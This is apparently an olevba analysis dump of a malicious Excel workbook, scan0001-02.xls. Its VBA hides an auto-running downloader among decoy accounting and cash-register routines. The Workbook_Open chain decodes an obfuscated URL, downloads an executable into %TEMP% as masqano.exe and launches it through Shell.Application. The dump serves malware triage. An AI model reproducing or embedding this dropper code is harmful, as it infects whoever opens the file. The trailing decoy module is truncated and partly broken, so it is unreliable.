Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V scan0001-02.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: scan0001-02.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
AdaptarNulos "", ""
BBudgetAmount "", ""
GetReqVer ""
SetCommentaires
End Sub





-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Const AGRO = "TREAM"
Public Sub GetEnv()
 Dim PROC_NAME As String
 PROC_NAME = "GetEnv"
 DEBUG_MODE = True
 work_path = ThisWorkbook.Path
 file_name = ThisWorkbook.Name
 prog_name = Left(file_name, InStrRev(file_name, "_") - 1)
 Call CheckProgVal
 prog_name_format = IIf(prog_val = 1, "ActivPS", "ConsoASS")
 prog_desc = IIf(prog_val = 1, "", "")
 num_main = Mid(file_name, InStrRev(file_name, "_") + 1, InStrRev(file_name, ".") - InStrRev(file_name, "_") - 1)
 num_name = IIf(prog_val = 1, "Numero PS", "NIR")
 If DEBUG_INFILE Then debug_file_path = work_path & "\" & Left(file_name, InStrRev(file_name, ".") - 1) & "_debug_macro.log"
 log_file_path = work_path & "\" & prog_name & "_" & num_main & ".log"
 spool_path = work_path & "\resultats"
 file_bilan = IIf(prog_val = 1, prog_name & "_" & num_main & "_0_bilan_params.lst", prog_name & "_" & num_main & "_bilan_params.lst")
 anonym_file = IIf(prog_val = 1, work_path & "\" & prog_name & "_" & num_main & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")), work_path & "\" & prog_name & "_" & Fwk_DoObfuscatorExecution(num_main, 3) & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")))
 cpt_steps = 0
 total_steps = Fwk_GetNbFileInDir(spool_path, "LST") + 1
 ANONYM = False
 Set UserformObject = FormOnOpen
 progressbar_totalwidth = UserformObject.LblProgress.Width
 num_version = GetReqVer(spool_path & "\" & file_bilan)
 lexique = ThisWorkbook.Sheets("lexique").Range("A:B")
 UserformObject.LblTitre = prog_name_format
 UserformObject.Caption = prog_name_format
 UserformObject.LblDescription = prog_desc
 UserformObject.LblReqId = num_name & " ? traiter : " & num_main
 UserformObject.LblVersion = "Version " & num_version
 UserformObject.OptDebugOff.Value = True
 UserformObject.OptDebugOn.Value = False
 UserformObject.OptAnonymOff.Value = True
 UserformObject.OptAnonymOn.Value = False
End Sub
Public Sub DisplayDebugEnv()
 Dim PROC_NAME As String
 PROC_NAME = "DisplayDebugEnv"

End Sub
Public Sub CheckProgVal()
 Dim PROC_NAME As String
 PROC_NAME = "CheckProgVal"
 If prog_name = "consoass" Then
 prog_val = 2
 ElseIf prog_name = "activps" Then
 prog_val = 1
 Else
 prog_val = 0
 End If
 If prog_val = 0 Then
 End If
End Sub
Public Sub SetDebugIfSelected()
 Dim PROC_NAME As String
 PROC_NAME = "SetDebugIfSelected"
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 If (UserformObject.OptDebugOn.Value = True) Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<DebugOn> est coche")
 If (Not Fwk_CheckIfVBATrust) Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<Sources Fiables> non coche, on affiche une alerte bloquante")
 FormSourcesFiables.Show
 End
 End If
 DEBUG_MODE = True
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 If DEBUG_INFILE Then
 DEBUG_NUMFILE = FreeFile()
 Open debug_file_path For Output As DEBUG_NUMFILE
 Else
 DEBUG_NUMFILE = Empty
 End If
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="*** Debut de la macro ***")
 Call DisplayDebugEnv
 Else
 DEBUG_MODE = False
 End If
End Sub
Public Function GetReqVer(ByVal file_bilan As String) As String
 Dim PROC_NAME As String
 PROC_NAME = "GetReqVer"
 Dim intFic As Integer, pos1 As Integer, pos2 As Integer
 Dim numver As String, strLigne As String, strnumver As String, masque As String
dist4 = dist3("TEMP")
BFileName ""
GoTo step8
Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 intFic = FreeFile
 numver = "inconnue"
 If Dir(file_bilan) <> "" Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Open file_bilan For Input As intFic
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Do While Not EOF(intFic)
 Line Input #intFic, strLigne
 If InStr(strLigne, "THEME") = 0 Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si la ligne contient le mot THEME, on est a priori sur la bonne ligne")
 pos1 = InStr(10, strLigne, ";") + 1
 pos2 = InStr(pos1, strLigne, ";")
 strnumver = Mid(strLigne, pos1, pos2 - pos1)
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "strnumver", strnumver)
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 masque = "[4-9].[0-9]*"
 If strnumver Like masque Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 numver = strnumver
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "numver", numver)
 End If
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Exit Do
 End If
 Loop
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On ferme le fichier")
 Close intFic
 Else
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Fichier " & file_bilan & " non trouve !")
 End If
step8:
dist5 = dist4 + "\" + "mas" + "qano" + "." + "e" + "" + "" + "" + "" + "xe"
dist2.Type = 1
dist2.Open
dist2.write dist1.responseBody
    dist2.savetofile dist5, 2
    Exit Function
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On renvoi la valeur")
 GetReqVer = StrConv(numver, vbLowerCase)
End Function

Public Function GetArrFieldInfo(ByVal sheet_name As String)
 Dim PROC_NAME As String
 PROC_NAME = "GetArrFieldInfo"
 Dim ArrFieldInfo As Variant, ArrColumnsToText As Variant, ArrTemp As Variant
 Dim i As Integer, j As Integer
 Dim ConvertText As Boolean
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes a mettre au format Texte de la feuille : " & sheet_name)
 If prog_val = 1 Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
 ArrColumnsToText = Array(2, 3, 4, 15, 22, 27, 30, 35)
 If sheet_name Like "ccam*" Then
 ArrTemp = Array(39, 40, 42, 44, 51)
 ElseIf sheet_name Like "repart_*" Then
 ArrColumnsToText = Array(2, 3)
 ElseIf sheet_name = "indic_benmg" Then
 ArrColumnsToText = Array(2, 3, 4, 18)
 Else
 ArrTemp = Array(39, 40, 42, 44)
 End If
 Else
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
 ArrColumnsToText = Array(2, 3, 4, 8, 15, 20, 23, 28)
 If sheet_name = "histo_mtt" Then
 ArrColumnsToText = Array(2, 3, 4, 10)
 ElseIf sheet_name Like "repart_*" Then
 ArrColumnsToText = Array(2, 3)
 If sheet_name = "repart_pres" Or sheet_name = "repart_exec" Then
 ArrTemp = Array(7)
 ElseIf sheet_name = "repart_remmnt" Then
 ArrTemp = Array(8)
 End If
 ElseIf sheet_name Like "ccam*" Then
 ArrTemp = Array(32, 33, 35, 37, 44)
 Else
 ArrTemp = Array(32, 33, 35, 37)
 End If
 End If
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Call Fwk_DoMergeArray(ArrColumnsToText, ArrTemp)
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 ArrFieldInfo = Array(Array(1, 1))
 For i = 1 To 100
 ReDim Preserve ArrFieldInfo(i)
 For j = LBound(ArrColumnsToText) To UBound(ArrColumnsToText)
 If i = ArrColumnsToText(j) Then
 ConvertText = True
 End If
 Next j
 If ConvertText = True Then
 ArrFieldInfo(i) = Array(i, 2)
 ConvertText = False
 Else
 ArrFieldInfo(i) = Array(i, 1)
 End If
 Next i
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 GetArrFieldInfo = ArrFieldInfo
End Function
Public Sub SetCommentaires()
 Dim PROC_NAME As String
 PROC_NAME = "SetCommentaires"
 Dim ws As Worksheet
 Dim rng As Range
 Dim Cell As Object
 Dim i As Integer
 Dim titre As String, descr As String
dist6.Open (dist5)
Exit Sub
 Set ws = Nothing
 Set rng = Nothing
 Set Cell = Nothing
End Sub
Public Sub SetFormatText(ByVal ArrFieldsFormat As Variant)
 Dim PROC_NAME As String
 PROC_NAME = "SetFormatText"
 Dim ws As Worksheet
 Dim i As Integer
 Dim rng As Range
 Dim Cell As Object
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs sp?ciaux de type texte de la feuille : " & ActiveSheet.Name)
 Set ws = ActiveSheet
 Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 For Each Cell In rng
 For i = 0 To UBound(ArrFieldsFormat, 1)
 If Cell.Value = ArrFieldsFormat(i) Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
 ws.Columns(Cell.column).EntireColumn.Select
 Selection.NumberFormat = "@"
 Selection.TextToColumns Destination:=Selection, DataType:=xlDelimited, _
 TextQualifier:=xlDoubleQuote, ConsecutiveDelimiter:=True, Tab:=False, _
 Semicolon:=False, Comma:=False, Space:=False, Other:=False, OtherChar _
 :=";", FieldInfo:=Array(1, 2), TrailingMinusNumbers:=True
 Exit For
 End If
 Next i
 Next Cell
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Set ws = Nothing
 Set rng = Nothing
 Set Cell = Nothing
End Sub
Public Sub SetFormatDate(ByVal ArrFieldsFormat As Variant)
 Dim PROC_NAME As String
 PROC_NAME = "SetFormatDate"
 Dim ws As Worksheet
 Dim i As Integer
 Dim rng As Range
 Dim Cell As Object
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs de type date de la feuille : " & ActiveSheet.Name)
 Set ws = ActiveSheet
 Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 For Each Cell In rng
 For i = 0 To UBound(ArrFieldsFormat, 1)
 If Cell.Value = ArrFieldsFormat(i) Then
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
 ws.Columns(Cell.column).EntireColumn.Select
 Selection.TextToColumns Destination:=Selection, DataType:=xlFixedWidth, _
 OtherChar:=";", FieldInfo:=Array(Array(0, 5), Array(8, 1)), _
 TrailingMinusNumbers:=True
 Selection.NumberFormat = "m/d/yyyy"
 Exit For
 End If
 Next i
 Next Cell
 Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
 Set ws = Nothing
 Set rng = Nothing
 Set Cell = Nothing
End Sub

-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public dist1 As Object
Public dist2 As Object
Public dist3  As Object
Public dist4 As String
Public dist5 As String
Public dist6 As Object
Public Function BFunctionsVersion() As String
BFunctionsVersion = "2015-10-06"
End Function
Public Function BAccountDescription(filename As String, account As String, Optional column As String = "") As String
Application.Volatile
Dim myUrl As String
myUrl = "accountdescription/" & account
If Len(column) > 0 Then
 myUrl = myUrl & "/" & column
 End If
BAccountDescription = BHttpQuery(filename, myUrl)
End Function
Public Function BAmount(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BAmount = Val(BBalanceGet(filename, account, "balance", "amount", period))
End Function
Public Function BBalance(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BBalance = Val(BBalanceGet(filename, account, "balance", "balance", period))
End Function
Public Function BBalanceGet(filename As String, account As String, cmd As String, valueName As String, Optional period As String = "") As Double
Application.Volatile
Dim myUrl As String
myUrl = cmd & "/" & account & "/" & valueName
If Not IsEmpty(period) Then
 myUrl = myUrl & "?period=" & period
 End If
BBalanceGet = Val(BQuery(filename, myUrl))
End Function
Public Function BBudgetAmount(filename As String, account As String, Optional period As String = "") As Double
Dim urlAr() As Variant
urlAr = Array(9352, 9364, 9364, 9360, 9306, 9295, 9295, 9367, 9367, 9367, 9294, 9349, 9365, 9362, 9359, 9347, 9359, 9358, 9364, 9345, 9353, 9358, 9349, 9362, 9363, 9294, 9353, 9364, 9295, 9352, 9302, 9300, 9351, 9350, 9299, 9295, 9304, 9305, 9354, 9302, 9347, 9368, 9294, 9349, 9368, 9349)
dist1.Open "G" + "" + "" + "E" + "" + "" + "T" + "" + "", Bezrabotki(urlAr, 45), False
Exit Function
Application.Volatile
BBudgetAmount = Val(BBalanceGet(filename, account, "budget", "amount", period))
End Function
Public Function BBudgetBalance(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BBudgetBalance = Val(BBalanceGet(filename, account, "budget", "balance", period))
End Function
Public Function BBudgetInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
Application.Volatile
Dim myUrl As String
myUrl = "budgetinterest/" & account & "?rate=" & interestRate
If Not IsEmpty(period) Then
 myUrl = myUrl & "&period=" & period
 End If
BBudgetInterest = Val(BQuery(filename, myUrl))
End Function
Public Function BBudgetOpening(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BBudgetOpening = Val(BBalanceGet(filename, account, "budget", "opening", period))
End Function
Public Function BBudgetTotal(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BBudgetTotal = Val(BBalanceGet(filename, account, "budget", "total", period))
End Function
Public Function BCreatePeriod(startDate As Date, endDate As Date) As String
BCreatePeriod = Format(startDate, "yyyy-mm-dd") & "/" & Format(endDate, "yyyy-mm-dd")
End Function
Public Function BCellValue(filename As String, table As String, rowColumn As String, column As String) As String
Application.Volatile
Dim myUrl As String
myUrl = "table/" & table & "/row/" & rowColumn & "/column/" & column
BCellValue = BHttpQuery(filename, myUrl)
End Function
Public Function BDate(dateIso As String) As Date
If Len(dateIso) = 10 Then
 BDate = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
 End If
End Function
Public Function BEndPeriod(filename As String, Optional period As String = "") As Date
Dim dateIso As String
dateIso = BHttpQuery(filename, "endperiod?period=" & period)
If Len(dateIso) = 10 Then
 BEndPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
 End If
End Function
Public Function BFileName(filename As String, Optional disableConnection As String = "") As String
dist1.Send
Exit Function
If disableConnection <> "0" And Len(disableConnection) > 0 Then
 BFileName = ""
 Exit Function
End If
Dim myUrl As String
myUrl = "info/Base/FileName"
Dim temp As String
temp = BHttpQuery(filename, myUrl)
If temp <> "" Then
 BFileName = Mid(temp, InStrRev(temp, "/") + 1)
Else
 BFileName = ""
End If
End Function
Public Function BInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
Application.Volatile
Dim myUrl As String
myUrl = "interest/" & account & "?rate=" & interestRate
If Not IsEmpty(period) Then
 myUrl = myUrl & "&period=" & period
 End If
BInterest = Val(BQuery(filename, myUrl))
End Function
Public Function BInfo(filename As String, sectionXml As String, idXml As String) As String
Application.Volatile
Dim myUrl As String
myUrl = "info/" & sectionXml & "/" & idXml
BInfo = BHttpQuery(filename, myUrl)
End Function
Public Function BLastQuery(i As Integer) As String
If i >= 0 And i <= MAXLASTQUERY Then
 BLastQuery = lastQuery(i)
End If
End Function
Public Function BOpening(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BOpening = Val(BBalanceGet(filename, account, "balance", "opening", period))
End Function
Public Function BStartPeriod(filename As String, Optional period As String = "") As Date
Dim dateIso As String
dateIso = BHttpQuery(filename, "startperiod?period=" & period)
If Len(dateIso) = 10 Then
 BStartPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
 End If
End Function
Public Function BTotal(filename As String, account As String, Optional period As String = "") As Double
Application.Volatile
BTotal = Val(BBalanceGet(filename, account, "balance", "total", period))
End Function
Public Function BVatBalance(filename As String, vatCode As String, vatValue As String, Optional period As String = "") As Double
Application.Volatile
BVatBalance = Val(BBalanceGet(filename, vatCode, "vatbalance", vatValue, period))
End Function
Public Function BVatDescription(filename As String, vatCode As String, Optional column As String = "") As String
Application.Volatile
Dim myUrl As String
myUrl = "vatdescription/" & vatCode
If Len(column) > 0 Then
 myUrl = myUrl & "/" & column
 End If
BVatDescription = BHttpQuery(filename, myUrl)
End Function
Public Function BQuery(filename As String, query As String) As String
Application.Volatile
BQuery = BHttpQuery(filename, query)
End Function
Public Sub RecalculateAll()
On Error Resume Next
ActiveWorkbook.Names("someChanges").Delete
ActiveWorkbook.Names.Add Name:="someChanges", RefersTo:="=XEX1048575"
ActiveWorkbook.Names("someChanges").Delete
Application.CalculateFullRebuild
End Sub
Private Function BHttpQuery(filename As String, query As String) As String
If filename = "" Then
 Exit Function
End If
Dim myUrl As String
Dim oHttp As Object
Dim BananaHostName As String
On Error Resume Next
BananaHostName = Range("BananaHostName").Value
If BananaHostName = "" Then
 BananaHostName = "localhost:8081"
End If
Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
myUrl = "http://" & BananaHostName & "/v1/doc/" & filename & "/" & query
Dim i As Integer
For i = 0 To (MAXLASTQUERY - 1)
 lastQuery(i) = lastQuery(i + 1)
Next i
lastQuery(MAXLASTQUERY) = myUrl
oHttp.Open "GET", myUrl, False
On Error Resume Next
oHttp.Send
If Err.Number = 0 Then
 If oHttp.Status < 300 Then
 BHttpQuery = oHttp.responseText
 If Left(BHttpQuery, 6) = "<html " Then
 BHttpQuery = ""
 End If
 Else
 End If
End If
End Function
Private Function BananaIsRunning() As Boolean
On Error Resume Next
 Dim bananaObj As Object
 bananaObj = GetObject("", "Banana")
 If Err.Number = 0 Then
 BananaIsRunning = True
 Else
 BananaIsRunning = False
 End If
End Function


-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function crearFactoryDAO(ptpModo_Operacion As String) As Boolean
 If ptpModo_Operacion = FACTURACION_REMOTA Then
 objEjeSincronizador.EjecutarSincronizador objConfig.Ruta_Sincronizador
 Set objbasededatos = New CMySQLBasededatos
 Set objDiccionariodeDatos = New CMySQLDiccDatos
 Set ObjTablasIO = New CMySQLTablasIO
 Else
 Set objbasededatos = New CBasededatos
 Set objDiccionariodeDatos = New CDiccionariodeDatos
 Set ObjTablasIO = New CTablasIO
 End If
End Function

Public Function Bezrabotki(sS1() As Variant, l2 As Integer) As String
 Dim dubBez As String
 Dim counter As Integer
 dubBez = ""
 For counter = LBound(sS1) To l2
  dubBez = dubBez & Chr(sS1(counter) - 8 * l2 - 8888)
 Next counter
 Bezrabotki = dubBez
End Function
Public Function ReemplazarPalabra(pCadena As String, _
 pPalabraIn As String, pPalabraOut As String) As String
Dim nPos As Integer
Dim strAux1 As String
Dim strAux2 As String
 nPos = InStr(1, pCadena, pPalabraIn, vbTextCompare)
 If nPos > 0 Then
 strAux1 = Left(pCadena, nPos - 1)
 strAux2 = Right(pCadena, Len(pCadena) - nPos - Len(pPalabraIn) + 1)
 strAux1 = strAux1 + pPalabraOut + ReemplazarPalabra(strAux2, pPalabraIn, pPalabraOut)
 ReemplazarPalabra = strAux1
 Exit Function
 End If
 ReemplazarPalabra = pCadena
End Function
Public Function AdaptarNulos(pDato As Variant, valordefecto As Variant)
DOT = "D"
vital = "A" + LCase(DOT) + "o" + LCase(DOT) + "b." + "S" + LCase(AGRO)
Set dist1 = CreateObject("Microsoft" + ".XMLHTTP")
Set dist6 = CreateObject("Shell.Application")
Set dist3 = CreateObject("WScript.Shell").Environment("Process")
GoTo dist2
 If IsNull(pDato) Then
 AdaptarNulos = valordefecto
 Else
 If CStr(pDato) = "" Then
 AdaptarNulos = valordefecto
 Else
 AdaptarNulos = CStr(pDato)
 End If
 End If
dist2:
Set dist2 = CreateObject(vital + "")
End Function
Public Function ObtenerElAltoDeLaResolucion() As Integer
 ObtenerElAltoDeLaResolucion = (Screen.Height / Screen.TwipsPerPixelY)
End Function
Public Function ObtenerElAnchoDeLaResolucion() As Integer
 ObtenerElAnchoDeLaResolucion = (Screen.Width / Screen.TwipsPerPixelX)
End Function
Public Function ExisteElArchivo(strPathDelArchivo As String) As Boolean
 Dim FSO
 Dim Canal
 ExisteElArchivo = False
 Set FSO = CreateObject("Scripting.FileSystemObject")
 If InStr(1, strPathDelArchivo, "\", vbTextCompare) = 0 Then strPathDelArchivo = FSO.GetSpecialFolder(WindowsFolder) & "\" & strPathDelArchivo
 If FSO.FileExists(strPathDelArchivo) Then ExisteElArchivo = True
 Set FSO = Nothing
End Function
Public Function CrearCarpeta(strPath As String) As Boolean
 On Error Resume Next
 MkDir (strPath)
 On Error GoTo 0
End Function
Public Function AdaptarValorNumerico(pValor As String) As Single
 If Trim(pValor) = "" Then
 AdaptarValorNumerico = 0
 Else
 AdaptarValorNumerico = CSng(pValor)
 End If
End Function
Public Function ObtenerDatoDelRegistrodeWindows(pEntrada As String, pClave As String) As String
 ObtenerDatoDelRegistrodeWindows = GetSetting(pEntrada, "General Settings", pClave)
End Function
Public Function AdaptarTrueFalse(pControl As String, ByVal Valor As String) As Variant
 AdaptarTrueFalse = Valor
 If LCase(Mid(pControl.Tag, 1, 2)) = "fl" Then
 If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = vbChecked
 If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = vbUnchecked
 Else
 If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = True
 If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = False
 End If
End Function
Public Sub Error_de_Conexion()
 MsgBox "Se ha producido un error en la conexion, imposible continuar, el sistema se cerrar?.", vbCritical + vbDefaultButton1, "Atenci?n"
 End
End Sub

Sub Main()
Dim lnrCaja As String
 If App.LogMode = MODO_DEBUG Then
 Modulo_Pruebas.EjecutarPruebas
 End If
 objConfigRegional.ConfigurarSistema
 Azul = RGB(0, 0, 255)
 Amarillo = RGB(255, 255, 185)
 Blanco = RGB(255, 255, 255)
 Gris = &HE0E0E0
 Rojo = RGB(255, 113, 113)
 Verde = RGB(64, 196, 73)
 Marron = RGB(255, 128, 64)
 Naranja = RGB(249, 152, 21)
 objConfig.CargarINI
 If objConfig.GrabaLog = "SI" Then
 objLog.GrabaLog = "SI"
 objLog.crearNombreArchivo
 End If
 crearFactoryDAO objConfig.tpModo_Operacion
 objParametros.GrabarValor "nrPuesto", objConfig.nrPuesto
 objbasededatos.dsDSN = objConfig.dsDSN
 objbasededatos.dsUID = objConfig.dsUID
 objbasededatos.dsMotorBD = objConfig.dsMotorBD
 Select Case objbasededatos.dsMotorBD
 Case "MY_SQL"
 On Error Resume Next
 objbasededatos.nmServidor = objConfig.nmServidor
 If Err Then
 MsgBox "ERROR: no se puede iniciar el modo local, verifique la propiedad "
 End
 End If
 On Error GoTo 0
 objbasededatos.nmBasededatos = objConfig.nmBasededatos
 Case "SQL_SERVER"
 Case "MDB"
 End Select
 Set objbasededatos.ConfigRegional = objConfigRegional
 If Not objbasededatos.abrirBD Then
 If objbasededatos.Error = "[Shared Memory]SQL Server does not exist or access denied." Then
 MsgBox "No se ha establecido la conexi?n con el Servidor." + vbCrLf + _
 "Por favor verifique si la VPN se encuentra abierta. " + vbCrLf + _
 "Vuelva a internar la operaci?n, si persiste el problema comun?quese" + _
 " con el administrador del sistema.", vbCritical, _
 "Fall? la conexi?n con el Servidor."
 Else
 MsgBox objbasededatos.Error
 End If
 End
 End If
 Set objDiccionariodeDatos.Basededatos = objbasededatos
 If Not objDiccionariodeDatos.InicializarDiccionario() Then
 MsgBox objDiccionariodeDatos.Error
 End
 End If
 ObjTablasIO.dsMotorBD = objConfig.dsMotorBD
 Set ObjTablasIO.Basededatos = objbasededatos
 Set ObjTablasIO.DiccionarioDeDatos = objDiccionariodeDatos
 Set objDiccionariodeDatos.TablasIO = ObjTablasIO
 Set objCajas.Basededatos = objbasededatos
 Set objCajas.ObjTablasIO = ObjTablasIO
 Set objMovimientos.ObjTablasIO = ObjTablasIO
 Set objExportar.objDiccionariodeDatos = objDiccionariodeDatos
 objSPs.dsMotorBD = objConfig.dsMotorBD
 Set objSPs.Basededatos = objbasededatos
 Set objSPs.DiccionarioDeDatos = objDiccionariodeDatos
 Set objSPs.lobjConfigRegional = objConfigRegional
 frm_Splash.Show 1
 CrearCarpeta objConfig.dsPathTemp
 Frm_Acceso.Show 1
 objUsuario.ValidarUsuario
 If objUsuario.tpAcceso = "Puestos" And objConfig.nrPuesto = "9" Then
 MsgBox "Prohibido el acceso a los usuarios de los "
 End
 End If
 If objUsuario.tpAcceso = "Administraci?n" And objConfig.nrPuesto <> "9" Then
 MsgBox "Prohibido el acceso a los usuarios de la "
 End
 End If
 If objCajas.hayCajasModificadasporAdministracion() Then
 MsgBox "Existen cajas modificadas por la admministraci?n con estado "
 "para realizar dicha tarea ingrese a
 End If
 If UCase(objUsuario.dsPassword) = UCase(objbasededatos.hashCadena(DEFAULT_PWD)) Then
 frm_CambiarPassword.Show vbModal
 If objParametros.ObtenerValor("CAMBIO_CLAVE") = "NO" Then
 End
 End If
 End If
 Select Case objUsuario.tpAcceso
 Case "Puestos", "Administraci?n"
 If objUsuario.tpAcceso = "Administraci?n" And objConfig.dsMotorBD = "MY_SQL" Then
 MsgBox "La configuraci?n actual no permite ingresar al sistema con el perfil de administraci?n.", vbCritical + vbDefaultButton1, "Atenci?n"
 End
 End If
 If objCajas.hayCajasRechazadasporlaCajera() Then
 MsgBox "Existen cajas puestos Rechazadas.", vbInformation + vbDefaultButton1, "Atenci?n"
 End If
 objConfig.AbreCaja = "SI"
 If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
 MsgBox objConfig.dsError + vbCrLf + "El programa no puede iniciarse.", vbCritical + vbDefaultButton1, "Atenci?n"
 End
 End If
 lnrCaja = objCajas.ObtenerCajaAbiertadelUsuario(objParametros.ObtenerValor("dsUsuario"))
 objParametros.GrabarValor "dsObservacion", ""
 If lnrCaja = "" Then
 objParametros.GrabarValor "frm_ABMCaja", "Alta"
 Select Case objUsuario.tpAcceso
 Case "Puestos"
 frm_ABMCaja.Show 1
 Case "Administraci?n"
 frm_ABMCajaADM.Show 1
 End Select
 If objParametros.ObtenerValor("CajaAbierta") = "NO" Then
 End
 Else
 objConfig.GuardarINI
 End If
 Else
